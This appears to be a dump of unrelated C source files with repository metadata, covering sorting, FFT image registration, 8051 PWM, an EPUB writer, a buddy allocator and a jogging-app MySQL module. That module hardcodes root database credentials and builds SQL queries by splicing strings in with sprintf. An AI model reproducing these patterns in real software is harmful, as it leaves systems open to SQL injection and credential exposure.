grae->SetHistogram(Graph_Graph_from_ratio3022); grae->Draw("p"); p2->Modified(); c->cd(); c->Modified(); c->cd(); c->SetSelected(c); }
eaaef7ccd4a2d9937da0d939912949e97d5af8e9
a47e4eec36e826ac5c1ee30ca4d0743256f6412a
/Lecture_09/9_02.c
c5d85d7104b707e7be0bee816e64c7ce38bc2995
[]
no_license
Axiuf/data_structure_icourse163
e413a4745f3e925299aa368827eee942bc66ba6c
601d5267c55d5fddc5aa0d0760591d9671bfa834
refs/heads/master
2023-01-30T11:36:42.978174
2020-12-13T15:49:45
2020-12-13T15:49:45
298,243,705
2
0
null
null
null
null
UTF-8
C
false
false
615
c
9_02.c
void ShellSort( ElementType A[], int N ) { /* 希尔排序 - 用Sedgewick增量序列 */ int Si, D, P, i; ElementType Tmp; /* 这里只列出一小部分增量 */ int Sedgewick[] = {929, 505, 209, 109, 41, 19, 5, 1, 0}; for ( Si=0; Sedgewick[Si]>=N; Si++ ) ; /* 初始的增量Sedgewick[Si]不能超过待排序列长度 */ for ( D=Sedgewick[Si]; D>0; D=Sedgewick[++Si] ) for ( P=D; P<N; P++ ) { /* 插入排序*/ Tmp = A[P]; for ( i=P; i>=D && A[i-D]>Tmp; i-=D ) A[i] = A[i-D]; A[i] = Tmp; } }
54bb824d032c6521cccbf5aa2c9476b810619098
be102881acc6fb63263b6693e97ab5c782dd3f24
/AntiCheatUtilityLogic20181225(AntiCheatUtilityLogic20181213)/SRC/Task/TaskWave.h
a48b70c590da8b849fe0dd13173bee683a752f8e
[]
no_license
Biita/Code
6087d98711077e56cf97773197c833dca35098bf
4762d989d9692889accc24363ad65811140f9ee1
refs/heads/master
2020-04-13T18:42:43.834576
2018-12-28T08:26:27
2018-12-28T08:26:27
163,382,902
0
0
null
null
null
null
GB18030
C
false
false
1,315
h
TaskWave.h
/****************************************Copyright (c)**************************************************** ** BEIJING WANJI(WJ) ** ** **--------------File Info--------------------------------------------------------------------------------- ** File name: TaskWave.h ** Last modified Date: 20110511 ** Last Version: 1.0 ** Descriptions: 键盘任务 ** **-------------------------------------------------------------------------------------------------------- ** Created by: ZHANG Ye ** Created date: 20110511 ** Version: 1.0 ** Descriptions: ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ #ifndef __TASKWAVE_H #define __TASKWAVE_H #ifdef __TASKWAVE_C #define TWV_EXT #else #define TWV_EXT extern #endif #include "Config.h" #include "Uart2.h" #include "w5300app.h" #include "Common.h" #define UARTSENDDATA(a,b) U2SendBytes(a,b) TWV_EXT OS_STK TaskRecWaveStk[TASK_WAVE_STACKSIZE]; //发波形任务 TWV_EXT void TaskRecWave(void *pdata); #endif
0d91a2a81311b10fdc38a570563154d20c7c3b15
b5df482108825bf36a3a411faad45735033674ae
/ThirdParty/include/glm.h
f2d6184060b9510a537a9c89ba04d06b11b94929
[ "MIT", "Apache-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause" ]
permissive
asdlei99/Cory
27428dbbef8741f3cee3dbc111a2aa66ef2d6686
8d31f65ea7637f75e653a727646c7afa1b4e10d1
refs/heads/master
2023-04-01T13:05:45.827178
2020-12-06T00:18:20
2020-12-06T00:18:20
null
0
0
null
null
null
null
UTF-8
C
false
false
441
h
glm.h
#pragma once // This is a transitive include header to ensure that GLM is included with the same preprocessor defines across the whole project. #define GLM_FORCE_RADIANS #define GLM_FORCE_DEFAULT_ALIGNED_GENTYPES #define GLM_FORCE_DEPTH_ZERO_TO_ONE #define GLM_ENABLE_EXPERIMENTAL #include <glm/glm.hpp> #include <glm/gtx/hash.hpp> #include <glm/gtx/transform.hpp> #include <glm/gtc/matrix_transform.hpp> #include <glm/gtc/type_ptr.hpp>
a6d5fe69dc0cb21fb300b354c239bbde3e69dbaf
4260becdc3688d7e2385f7a4482c12b096e7047c
/server/usedlog.c
4a5f98fea014894e152226ee669d2c06b837abd6
[]
no_license
Adachi12/softwea6
20c5b59f97beb524a9e7d4eed42b2545f8948822
e9c03c2d8d971dbb51afaedc9111de65d9bc4780
refs/heads/main
2023-02-25T14:58:53.035678
2021-01-30T18:19:19
2021-01-30T18:19:19
323,558,086
0
1
null
2021-01-23T10:37:51
2020-12-22T07:50:05
Kotlin
UTF-8
C
false
false
4,859
c
usedlog.c
#include "jogging.h" int usedlog_insert(USEDLOG_TABLE ult){ MYSQL *conn = NULL; char sql_str[511]; char *sql_serv = "localhost"; char *user = "root"; char *passwd = "mariadb"; char *db_name = "jogging"; // SQL発行 sprintf(sql_str, "INSERT INTO USEDLOG_TABLE \ VALUES('%08d', '%19s', %lf, '%s', %d)", \ ult.id, ult.jog_datetime, ult.jog_distance, ult.jog_time, ult.burned_calorie); // mysql接続 conn = mysql_init(NULL); if( !mysql_real_connect(conn,sql_serv,user,passwd,db_name,0,NULL,0) ){ // error return 1; } // クエリ実行 if( mysql_query( conn , &sql_str[0] ) ){ // error printf("error!\n%s\n", sql_str); mysql_close(conn); return 1; } mysql_close(conn); return 0; } USEDLOG_TABLE *usedlog_select(int id, int *n) { MYSQL *conn = NULL; MYSQL_RES *resp = NULL; MYSQL_ROW row; char sql_str[511]; char *sql_serv = "localhost"; char *user = "root"; char *passwd = "mariadb"; char *db_name = "jogging"; // レスポンスのループインデックス int i; // 返信用のデータ USEDLOG_TABLE *res_data; res_data = (USEDLOG_TABLE *)malloc(sizeof(USEDLOG_TABLE)); memset( &sql_str[0] , 0x00 , sizeof(sql_str) ); // 1ヶ月以前のデータ削除 usedlog_delete(id); // mysql接続 conn = mysql_init(NULL); if( !mysql_real_connect(conn,sql_serv,user,passwd,db_name,0,NULL,0) ){ // error res_data[0].error = 1; return res_data; } // count sprintf(sql_str, "SELECT count(*) FROM USEDLOG_TABLE where id='%08d'", id); // 実行 if( mysql_query( conn , &sql_str[0] ) ){ // error printf("error!\n%s\n", sql_str); mysql_close(conn); res_data[0].error = 1; return res_data; } // レスポンス resp = mysql_use_result(conn); while((row = mysql_fetch_row(resp)) != NULL ){ *n = atoi(row[0]); } mysql_free_result(resp); res_data = (USEDLOG_TABLE *)realloc(res_data, sizeof(USEDLOG_TABLE) * (*n)); // アクセスSQL文 sprintf(sql_str, "SELECT * FROM USEDLOG_TABLE where id='%08d'", id); // 実行 if( mysql_query( conn , &sql_str[0] ) ){ // error printf("error!\n%s\n", sql_str); mysql_close(conn); res_data[0].error = 1; return res_data; } // レスポンス resp = mysql_use_result(conn); i = 0; while((row = mysql_fetch_row(resp)) != NULL ) { res_data[i].error = 0; res_data[i].id = atoi(row[0]); sprintf(res_data[i].jog_datetime, "%s", row[1]); res_data[i].jog_distance = atof(row[2]); sprintf(res_data[i].jog_time, "%s", row[3]); res_data[i].burned_calorie = atoi(row[4]); i++; } mysql_free_result(resp); return res_data; } int usedlog_delete(int id) { MYSQL *conn = NULL; char sql_str[511]; char *sql_serv = "localhost"; char *user = "root"; char *passwd = "mariadb"; char *db_name = "jogging"; // SQL発行 // cast char id_buf[9]; snprintf(id_buf, 9, "%08d", id); char month_ago_buf[20]; month_ago(month_ago_buf); // write to buffer sprintf(sql_str, "DELETE from USEDLOG_TABLE \ where id ='%s' AND jog_datetime <= '%s'", id_buf, &month_ago_buf[0]); printf("%s\n", sql_str); // mysql接続 conn = mysql_init(NULL); if( !mysql_real_connect(conn,sql_serv,user,passwd,db_name,0,NULL,0) ){ // error return 1; } // クエリ実行 if( mysql_query( conn , &sql_str[0] ) ){ // error printf("error!\n"); mysql_close(conn); return 1; } mysql_close(conn); return 0; } void month_ago(char *buf) { struct tm tm; time_t t = time(NULL); localtime_r(&t, &tm); int days[12] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; // 1ヶ月前の日付に直す int diff = 30 - tm.tm_mday; tm.tm_mday = days[tm.tm_mon] - diff; if (tm.tm_mon == 0) { tm.tm_mon = 12; } else { tm.tm_mon--; } // 求めた日付をもとに文字列を生成 snprintf(buf, 20, "%04d/%02d/%02d %02d:%02d:%02d", \ tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, \ tm.tm_hour, tm.tm_min, tm.tm_sec); } void print_ult(USEDLOG_TABLE *ult, int n) { printf("id : %d\n", ult[0].id); int i = 0; for(i = 0; i < n; i++) { printf(" datetime : %s\n", ult[i].jog_datetime); printf(" distance : %1.2f\n", ult[i].jog_distance); printf(" jogtime : %8s\n", ult[i].jog_time); printf(" calorie : %d\n", ult[i].burned_calorie); printf("\n"); } }
0191041a64092ac0566c7c02b87e7d947eee1160
0c75d98a11ae1523e94ce3dd2fe893a079012931
/main.c
164274fd418a794b4bbfbc2441b1d0512fe7b3f0
[]
no_license
basmaadrii/DutyCycle
cdd459e2e109525d609a0563ecb097dbd81f7e6d
daa43b2e4334739704d17eb3b209d3d2d229d1ad
refs/heads/master
2021-01-20T01:17:27.848973
2017-04-25T00:40:48
2017-04-25T00:40:48
89,251,153
0
0
null
null
null
null
UTF-8
C
false
false
1,791
c
main.c
#include <at89c51xd2.h> #include <stdio.h> #define dc P1 sbit output = P2^0; sbit errorLED = P2^6; sbit SW = P2^7; unsigned char error, temp, x, xlow, xhigh; unsigned char TL0_negative, TH0_negative, TL0_positive, TH0_positive; unsigned int cycles_positive, cycles_negative; float time_positive, time_negative; void timer_delay(unsigned char low, unsigned char high); void main() { SW = 1; // Initialize SW output = 0; // Initialize output TMOD = 0x01; // Setup Timer 0 while(1) { errorLED = 1; // Turn off LED when SW is off while (SW == 0) //SW is on { //Convert BCD to HEX xlow = (dc & 0x0F); xhigh = (dc & 0xF0) >> 4; x = xhigh * 10 + xlow; if (xlow > 9 || xhigh > 9) error = 1; else error = 0; if (!error){ errorLED = 1; //calculate values for TH0 and TL0 time_positive = (2 * x) / 100.0; //freq = 500 Hz => period time = 2 ms time_negative = 2 - time_positive; cycles_positive = (time_positive * 1000) / 0.5425; //time taken by one cycle = 0.5425 cycles_negative = (time_negative * 1000) / 0.5425; TL0_negative = ((0xFFFF - cycles_negative + 1) & 0x00FF); TH0_negative = ((0xFFFF - cycles_negative + 1) & 0xFF00) >> 8; TL0_positive = ((0xFFFF - cycles_positive + 1) & 0x00FF); TH0_positive = ((0xFFFF - cycles_positive + 1) & 0xFF00) >> 8; do{ temp = dc; output = ~output; timer_delay(TL0_positive, TH0_positive); //positive portion output = ~output; timer_delay(TL0_negative, TH0_negative); //negative portion } while(dc == temp); } else { output = 0; errorLED = 0; } } } } void timer_delay(unsigned char low, unsigned char high) { TH0 = high; TL0 = low; TR0 = 1; while(TF0 == 0); TR0 = 0; TF0 = 0; }
239c762a80a75095040a453f655ddda1719bc3f2
db8a5542ad5c4a7a2c0249277fc01c6f198d51f8
/phase_correl.c
2c614b6a5c043bbd854f7981f041c2eb11222873
[]
no_license
namnd15197/phase_correl
0cd18d89ed5b50026a0a1a1dca6f581068cacc9d
37409c28565b6f5684801773c95d2a6e63d6adf4
refs/heads/master
2022-04-04T09:17:03.438626
2020-01-27T11:59:10
2020-01-27T12:04:18
null
0
0
null
null
null
null
UTF-8
C
false
false
6,934
c
phase_correl.c
#include <stdio.h> #include <stdlib.h> #include <math.h> #define IMAGE_WIDTH 256 #define IMAGE_HEIGHT 128 void ditfft2(double *input, double *output, int size, int s, int invert) { double temp[4], fi, kfi, cosfi, sinfi; int k, k2; if (size > 1) { ditfft2(&input[0], &output[0], size >> 1, s << 1, invert); ditfft2(&input[s << 1], &output[size], size >> 1, s << 1, invert); if (!invert) { fi = -2.0 * M_PI / (double)size; kfi = 0.0; } else { fi = 2.0 * M_PI / (double)size; kfi = 0.0; } for (k = 0; k < size >> 1; k++) { cosfi = cos(kfi); sinfi = sin(kfi); k2 = k << 1; temp[0] = output[k2]; temp[1] = output[k2 + 1]; temp[2] = output[size + k2]; temp[3] = output[size + k2 + 1]; output[k2] = temp[0] + temp[2] * cosfi - temp[3] * sinfi; output[k2 + 1] = temp[1] + temp[2] * sinfi + temp[3] * cosfi; output[size + k2] = temp[0] - temp[2] * cosfi + temp[3] * sinfi; output[size + k2 + 1] = temp[1] - temp[2] * sinfi - temp[3] * cosfi; kfi += fi; } } else { output[0] = input[0]; output[1] = input[1]; } } void fft(double *input, double *output, int size) { ditfft2(input, output, size, 1, 0); } void ifft(double *input, double *output, int size) { ditfft2(input, output, size, 1, 1); } void fft2D(double *input, int width, int height) { int i, j; double *fft_input = (double *)malloc((sizeof(double) * width) << 1); double *fft_output = (double *)malloc((sizeof(double) * width) << 1); double *fft_temp = (double *)malloc((sizeof(double) * width * height) << 1); for (j = 0; j < height; j++) { for (i = 0; i < width; i++) { fft_input[i << 1] = input[(i + j * width) << 1]; fft_input[(i << 1) + 1] = input[((i + j * width) << 1) + 1]; } fft(fft_input, fft_output, width); for (i = 0; i < width; i++) { fft_temp[(i + j * width) << 1] = fft_output[i << 1]; fft_temp[((i + j * width) << 1) + 1] = fft_output[(i << 1) + 1]; } } for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { fft_input[j << 1] = fft_temp[(i + j * width) << 1]; fft_input[(j << 1) + 1] = fft_temp[((i + j * width) << 1) + 1]; } fft(fft_input, fft_output, height); for (j = 0; j < height; j++) { input[(i + j * width) << 1] = fft_output[j << 1]; input[((i + j * width) << 1) + 1] = fft_output[(j << 1) + 1]; } } free(fft_input); free(fft_output); free(fft_temp); } void ifft2D(double *input, int width, int height) { int i, j; double *fft_input = (double *)malloc((sizeof(double) * width) << 1); double *fft_output = (double *)malloc((sizeof(double) * width) << 1); double *fft_temp = (double *)malloc((sizeof(double) * width * height) << 1); for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { fft_input[j << 1] = input[(i + j * width) << 1]; fft_input[(j << 1) + 1] = input[((i + j * width) << 1) + 1]; } ifft(fft_input, fft_output, height); for (j = 0; j < height; j++) { fft_temp[(i + j * width) << 1] = fft_output[j << 1] / (double)height; fft_temp[((i + j * width) << 1) + 1] = fft_output[(j << 1) + 1] / (double)height; } } for (j = 0; j < height; j++) { for (i = 0; i < width; i++) { fft_input[i << 1] = fft_temp[(i + j * width) << 1]; fft_input[(i << 1) + 1] = fft_temp[((i + j * width) << 1) + 1]; } ifft(fft_input, fft_output, width); for (i = 0; i < width; i++) { input[(i + j * width) << 1] = fft_output[i << 1] / (double)width; input[((i + j * width) << 1) + 1] = fft_output[(i << 1) + 1] / (double)width; } } free(fft_input); free(fft_output); free(fft_temp); } void computeShift(unsigned char *image1, unsigned char *image2, int width, int height, int *tx, int *ty) { int i, j; double* fft_input1 = (double *)malloc((sizeof(double) * width * height) << 1); double* fft_input2 = (double *)malloc((sizeof(double) * width * height) << 1); double* fft_output = (double *)malloc((sizeof(double) * width * height) << 1); // Convert image pixels to complex number format, use only real part for (i = 0; i < width * height; i++) { fft_input1[i << 1] = (double)image1[i]; fft_input2[i << 1] = (double)image2[i]; fft_input1[(i << 1) + 1] = 0.0; fft_input2[(i << 1) + 1] = 0.0; } // Perform 2D FFT on each image fft2D(fft_input1, width, height); fft2D(fft_input2, width, height); // Compute normalized cross power spectrum for (i = 0; i < width * height; i++) { double a = fft_input1[i << 1]; double b = fft_input1[(i << 1) + 1]; double c = fft_input2[i << 1]; double d = fft_input2[(i << 1) + 1]; double a1 = (b != 0.0) ? ((a != 0.0) ? atan(b / fabs(a)) : M_PI * b / (2.0 * fabs(b))) : 0.0; if (a < 0.0) { a1 = ((b < 0.0) ? -1.0 : 1.0) * M_PI - a1; } double a2 = (d != 0.0) ? ((c != 0.0) ? atan(d / fabs(c)) : M_PI * d / (2.0 * fabs(d))) : 0.0; if (c < 0.0) { a2 = ((d < 0.0) ? -1.0 : 1.0) * M_PI - a2; } fft_output[i << 1] = cos(a1 - a2); fft_output[(i << 1) + 1] = sin(a1 - a2); } // Perform inversed 2D FFT on obtained matrix ifft2D(fft_output, width, height); // Search for peak double max = 0.0; *tx = 0; *ty = 0; for (j = 0; j < height; j++) for (i = 0; i < width; i++) { double d = sqrt(pow(fft_output[(i + j * width) << 1], 2) + pow(fft_output[((i + j * width) << 1) + 1], 2)); if (d > max) { max = d; *tx = i; *ty = j; } } if (*tx > width >> 1) *tx = *tx - width; if (*ty > height >> 1) *ty = *ty - height; free(fft_input1); free(fft_input2); free(fft_output); } int main() { unsigned char image1[IMAGE_WIDTH * IMAGE_HEIGHT]; unsigned char image2[IMAGE_WIDTH * IMAGE_HEIGHT]; int i, j, tx, ty; // Generate pair of images for (j = 0; j < IMAGE_HEIGHT; j++) for (i = 0; i < IMAGE_WIDTH; i++) { if ((i > 16) && (i < 80) && (j > 32) && (j < 96)) image1[i + j * IMAGE_WIDTH] = 128; else image1[i + j * IMAGE_WIDTH] = 0; if ((i > 8) && (i < 72) && (j > 40) && (j < 104)) image2[i + j * IMAGE_WIDTH] = 16; else image2[i + j * IMAGE_WIDTH] = 255; } computeShift(image1, image2, IMAGE_WIDTH, IMAGE_HEIGHT, &tx, &ty); printf("Computed shift: [%d, %d]\n", tx, ty); return 0; }
3fb8c508c9a2a747d067b4ac20ec84f88d4a9165
455b46622d2641907fddf57d12c0690293fa6e31
/entropy.c
48ca3a8f2bdc16e5ec69aadd4a9815c1d9337806
[]
no_license
satyadevn/c
3e3d5dff405292fde96f1c427704872e211a1cf3
961e87e5341763779d998ae19e573722e5001fb0
refs/heads/master
2018-12-28T22:58:21.196914
2014-10-11T02:42:22
2014-10-11T02:42:22
null
0
0
null
null
null
null
UTF-8
C
false
false
713
c
entropy.c
#include <stdio.h> #include <math.h> /* divide by log(2) */ #define logb(a,b) log((a))*1.44269503997 double entropy(float a[], int n) { float ent=0; int i=0; for(i=0;i<n;i++){ if (a[i] == 0){ ent += 0; }else{ ent -= a[i] * logb(a[i],2); } } return ent; } void print_array(float a[], int n) { int i=0; for (i=0; i<n;i++){ printf("%f ",a[i]); } printf("\n"); } /* 0.721928 = H(0.2, 0.8)*/ int main() { float incr=0.01; float x = 0.1, y=0.1; float a[3]; for(; x<1.0; x+= incr){ a[0] = x; for(y=0.1;y<1.0;y+=incr){ float ent; a[1] = y; a[2] = 1-x-y; ent = entropy(a,3); if(ent>0.72 && ent<0.74){ print_array(a,3); printf("%f\n",ent); } } } return 0; }
694819225797c7f2d58de79b37c04130d98dd53f
7a3025116101e4c2728fb4175a19fdf674391bc4
/container_xml_creator.c
cfb5157fca254f05a455827ab84815b838c0944a
[]
no_license
DDKnoll/GC_HTML_to_ePub
3cc0027ef53f43db648bc6295058eb8cdb067a16
b1128cbb911d30b758a3f8bf77e515c4206fd2f4
refs/heads/master
2021-01-19T08:33:48.003751
2012-04-27T04:50:24
2012-04-27T04:50:24
3,714,196
1
0
null
null
null
null
UTF-8
C
false
false
2,465
c
container_xml_creator.c
/* Dugan Knoll * CSC323 Software Design - Spring 2012 * * Contains the function write_container(char* opf_path) which creates * the container.xml file necessary for an epub book. * * credit for basic layout of creating xml document: * Lucas Brasilino <brasilino@recife.pe.gov.br> */ #include <stdio.h> #include <libxml/parser.h> #include <libxml/tree.h> #if defined(LIBXML_TREE_ENABLED) && defined(LIBXML_OUTPUT_ENABLED) /* *To compile this file using gcc you can type *gcc `xml2-config --cflags --libs` -o tree2 tree2.c */ /* A simple example how to create DOM. Libxml2 automagically * allocates the necessary amount of memory to it. */ int main(int argc, char **argv) { write_container("OPS/content.opf"); return 0; } int write_container(char* opf_path){ xmlDocPtr doc = NULL; /* document pointer */ xmlNodePtr container = NULL, rootFiles = NULL, rootFile = NULL;/* node pointers */ xmlDtdPtr dtd = NULL; /* DTD pointer */ char buff[256]; int i, j; LIBXML_TEST_VERSION; /* * Creates a new document, a node and set it container as the root node */ doc = xmlNewDoc(BAD_CAST "1.0"); container = xmlNewNode(NULL, BAD_CAST "container"); xmlDocSetRootElement(doc, container); xmlNewProp(container, BAD_CAST "version", BAD_CAST "1.0"); xmlNewProp(container, BAD_CAST "xmlns", BAD_CAST "urn:oasis:names:tc:opendocument:xmlns:container"); /* * xmlNewChild() creates a new node, which is "attached" as child node * of root_node node. */ rootFiles = xmlNewChild(container, NULL, BAD_CAST "rootfiles", BAD_CAST NULL); /* * The same as above, but the new child node doesn't have a content */ rootFile = xmlNewChild(rootFiles, NULL, BAD_CAST "rootfile", NULL); xmlNewProp(rootFiles, BAD_CAST "full-path", BAD_CAST opf_path); xmlNewProp(rootFiles, BAD_CAST "media-type", BAD_CAST "application/oebps-package+xml"); /* * Dumping document to stdio or file */ xmlSaveFormatFileEnc("container.xml", doc, "UTF-8", 1); /*free the document */ xmlFreeDoc(doc); /* *Free the global variables that may *have been allocated by the parser. */ xmlCleanupParser(); /* * this is to debug memory for regression tests */ xmlMemoryDump(); return(0); } #else int main(void) { fprintf(stderr, "tree support not compiled in\n"); exit(1); } #endif
671577e9867de9359aa21e31562dec9a32e8f3e8
d2dc91d755fdb4ce9006e4f6779b40c7c6deded0
/kern/mm/bdalloc.c
0c6afe5e3973e9473078bb50b2365956949ab762
[]
no_license
thatwas/DemoOS
3a2c5741d6831ad9b1e2d7d12cd532a751a78e48
6299bf4d35eba64bd535a1a79b78d33cf5ae8606
refs/heads/master
2021-07-03T16:51:54.946911
2017-09-23T03:38:25
2017-09-23T03:38:25
103,661,941
0
0
null
null
null
null
GB18030
C
false
false
5,310
c
bdalloc.c
#include <bdalloc.h> #include <pmm.h> #include <list.h> #include <string.h> /* *设计思想:前面探测好了有多少个页面。将可以使用的page页面数截断为2的整数次幂 * * * */ static struct buddy2* BuddyHead = NULL; static struct Page* BuddyPageHead = NULL; static size_t BuddyNum = 0; static unsigned fixsize(unsigned size) { size |= size >> 1; size |= size >> 2; size |= size >> 4; size |= size >> 8; size |= size >> 16; return size + 1; } static void buddy_init(void) { /*now there is nothing to do*/ cprintf("now there is nothing to do\n"); } /* *对n进行取2的整数次幂 * */ static size_t nm2truc(size_t nm) { size_t x = 1; while (x < nm) x <<= 1; return x/2; } static void buddy_init_memmap(struct Page *base, size_t n) { unsigned node_size = 0; unsigned i = 0; if (!IS_POWER_OF_2(n)) n = nm2truc(n); BuddyNum = n; //uintptr_t base_int = page2kva(base); //所以要分配 2 * 16384 * 4个字节的存放地址,一共是32页,这里存放的是虚拟地址 uintptr_t new_freemem = (uintptr_t)(page2kva(base) + sizeof(unsigned) * 2 * n); //这是个虚拟地址,页面转向虚拟地址,这就是Head的真实地址 BuddyHead = page2kva(base); BuddyHead->size = n; new_freemem = ROUNDUP(new_freemem, PGSIZE); //变成page数组当中的准确序号 BuddyPageHead = (struct Page*)pa2page(PADDR(new_freemem)); node_size = n * 2; for (i = 0; i < 2 * n - 1; ++i) { if (IS_POWER_OF_2(i+1)) node_size /= 2; BuddyHead->longest[i] = node_size; } //done!! } static struct Page* buddy_alloc_pages(size_t n) { assert(n > 0); //还要进行标志位设定 unsigned offset = 0; unsigned index = 0; int i = 0; unsigned node_size = BuddyHead->size; unsigned size = BuddyHead->size; struct Page* res; if (!IS_POWER_OF_2(n)) n = fixsize(n); if (BuddyHead->longest[index] < n) return NULL; //执行到这,说明一定又可以分配的地方。优先向左 for (;node_size != n; node_size /= 2) { if (BuddyHead->longest[LEFT_LEAF(index)] >= n) index = LEFT_LEAF(index); else index = RIGHT_LEAF(index); } offset = (index + 1) * node_size - size; BuddyHead->longest[index] = 0; res = BuddyPageHead + offset; //对父节点进行处理 while (index) { index = PARENT(index); BuddyHead->longest[index] = MAX(BuddyHead->longest[LEFT_LEAF(index)], BuddyHead->longest[RIGHT_LEAF(index)]); } for (i = 0; i < n; i++) { SetPageReserved(res + i); //设置页面的引用为0。因为现在没有引用的 set_page_ref(res + i, 0); } return res; } static void buddy_free_pages(struct Page *base, size_t n) { assert(n > 0); //在这里面n是没有用的 unsigned offset = 0; unsigned index = 0; unsigned node_size = 1; unsigned left = 0; unsigned right = 0; struct Page* p = base; if (!IS_POWER_OF_2(n)) n = fixsize(n); offset = base - BuddyPageHead; index = offset + BuddyHead->size - 1; for (; p != base + n; ++p) { assert(PageReserved(p)); set_page_ref(p, 0); } while (index) { if (BuddyHead->longest[index] == 0) break; index = PARENT(index); node_size *= 2; } BuddyHead->longest[index] = node_size; //对其进行修正 while (index) { index = PARENT(index); node_size *= 2; left = BuddyHead->longest[LEFT_LEAF(index)]; right = BuddyHead->longest[RIGHT_LEAF(index)]; if (node_size == (left + right)) { BuddyHead->longest[index] = node_size; } else { BuddyHead->longest[index] = MAX(BuddyHead->longest[LEFT_LEAF(index)], BuddyHead->longest[RIGHT_LEAF(index)]); } } } static size_t buddy_nr_free_pages(void) { return buddy_nr_free; } /*如何检查buddy的内存分配系统是否正确: * *16384个物理页 */ static void basic_buddy_check(void) { struct Page* p0, *p1, *p2; assert((p0 = alloc_page()) == BuddyPageHead); assert((p1 = alloc_page()) == (BuddyPageHead + 1)); assert((p2 = alloc_page()) == (BuddyPageHead + 2)); assert(page_ref(p0) == 0 && page_ref(p1) == 0 && page_ref(p2) == 0); free_page(p0); free_page(p1); free_page(p2); //分配物理页的一半 assert((p0 = alloc_pages(BuddyNum/2)) == BuddyPageHead); assert((p1 = alloc_pages(BuddyNum/2)) == (BuddyPageHead + BuddyNum/2)); assert((p2 = alloc_page()) == NULL); free_page(p0); free_page(p1); // assert((p0 = alloc_page()) == BuddyPageHead); assert((p1 = alloc_pages(BuddyNum)) == NULL); assert((p2 = alloc_pages(BuddyNum/2)) == (BuddyPageHead + BuddyNum/2)); free_page(p0); free_page(p2); } static void buddy_check(void) { basic_buddy_check(); cprintf("max free page is %u\n", nr_free_pages()); } const struct pmm_manager buddy_pmm_manager = { .name = "buddy_pmm_manager", .init = buddy_init, .init_memmap = buddy_init_memmap, .alloc_pages = buddy_alloc_pages, .free_pages = buddy_free_pages, .nr_free_pages = buddy_nr_free_pages, .check = buddy_check, };
fc0aa79050080b33347fbd7c6dee16b15b750ce4
83cfdc43d0f245fbd19e00a441f085c1bb508c65
/google_code_jam/2011/card_shuffle/card_shuffle.c
61dc7272cde58bb2d1649265b98650e8493073f6
[]
no_license
mnishikawa/sandbox
b47e9f20a4a99a79629bc047421689ef20062c2d
9c534275e69ce40d78d6ae183734053aafea91a9
refs/heads/master
2016-09-06T04:03:35.884300
2011-10-01T10:38:48
2011-10-01T10:38:48
898,920
0
0
null
null
null
null
UTF-8
C
false
false
7,235
c
card_shuffle.c
/* * card_shuffle.c * カードシャッフル for Google Code Jam 2011 * by Makoto Nishikawa * * how to make: * $ gcc -o card_shuffle card_shuffle.c * * how to use: * $ ./card_shuffle <test case file path> * */ #include <stdio.h> /* フランクはカードゲームが好きで、週末は友達の家でゲームパーティーに参加しています。彼らがゲームに使うカードは M 枚からなり、それぞれ 1 から M までの数字が重複しないように書かれています。フランクはパーティーで友人が使っている自動カードシャッフル装置と同じものを持っていて、どのように動作するか理解しています。その装置はカードの山を C 回カットすることでシャッフルを行います。i 回目のカットではカードの山の上から Ai 番目から Bi 枚、つまり Ai 番目から Ai + Bi - 1 番目のカードがそのままの順番で山の上に移動します。 ある日、いつも使っているカードが汚れたため、新しいカードを使うことになりました。新しいカードは上から順番に 1 から M まで並んだ状態でそのままシャッフル装置にかけられました。フランクはシャッフル装置の性質を利用し、シャッフル後に上から W 番目にあるカードが何かを知ろうとしています。 入力 最初の行はテストケースの個数 T を表す正の整数です。続いて、各テストケースが次のようなフォーマットで与えられます。 M C W A1 B1 ... AC BC 1行目では、1 つのスペースで区切られた 3 つの整数 M, C, W が与えられます。ここで M はカードの枚数 、C はカットの回数、W は知りたいカードの位置です。続く C 行の各行では、1 つのスペースで区切られた 2 つの整数 Ai, Bi が与えられます。ここで Ai, Bi はカットの操作で、i 回目の操作で上から Ai 番目から Bi 枚のカードを山の上に移動させることを意味しています。 出力 各テストケースに対し、 Case #X: P という内容を1行出力してください。ここで X は 1 から始まるテストケース番号、P はシャッフル後のカードの山の上から W 番目にあるカードを表します。 制約 1 ≤ T ≤ 200 1 ≤ C ≤ 100 1 ≤ W ≤ M 1 ≤ Ai ≤ M 1 ≤ Bi ≤ M 1 ≤ Ai + Bi - 1 ≤ M Small 1 ≤ M ≤ 100 Large 1 ≤ M ≤ 109 サンプル 入力 出力 3 1 1 1 1 1 2 3 1 2 1 2 1 2 1 5 3 2 4 2 5 1 4 2 Case #1: 1 Case #2: 2 Case #3: 2 */ //#define DEBUG_OUT 1 #define BUFFER_SIZE 1024 /* バッファサイズ */ #define NR_CARD_MAX 1000000000 /* 最大カード数(10^9) */ //#define NR_CARD_MAX 100 /* 最大カード数(10^9) */ /* プロトタイプ宣言 */ int get_data(char *str, int count); void disp_cards(int card_array_no); /* グローバル変数定義 */ int TEST_CASE = 0; /* テストケース数 */ int NR_CARDS = 0; /* カード数 */ int NR_SHUFFLE = 0; /* シャッフル回数 */ int CARD_NO = 0; /* 選択カード番号 */ int data[BUFFER_SIZE]; /* 行読み込み用バッファ */ unsigned int card_array[2][NR_CARD_MAX]; /* カード配列データ */ int main(int argc,char *argv[]) { FILE *fp; unsigned int i; char str_line[BUFFER_SIZE]; /* 文字列読み込み用バッファ */ int cut_start_no = 0; /* シャッフル開始位置番号読み込み用 */ int nr_cut = 0; /* シャッフル時のカット数読み込み用 */ int current_card_array = 0; /* 今使ってるカード山の番号 */ int new_card_array = 1; /* 次のカード山の番号 */ int new_card_no = 0; /* カード並び替えカウント用 */ int answer = 0; /* 解答 */ int test_case_no = 0; /* テストケースのファイルパスの取得 */ if (argc != 2) { fprintf(stderr,"file open error : %s\n",argv[1]); return -1; } if ( (fp=fopen(argv[1], "r")) == NULL) { fprintf(stderr,"file open error : %s\n",argv[1]); return -1; } /* テストケース数を読み込む */ fgets((char *)str_line, BUFFER_SIZE ,fp); TEST_CASE = atoi(str_line); #ifdef DEBUG_OUT printf("test case = %d\n",TEST_CASE); #endif test_case_no = 1; while(test_case_no <= TEST_CASE){ /* 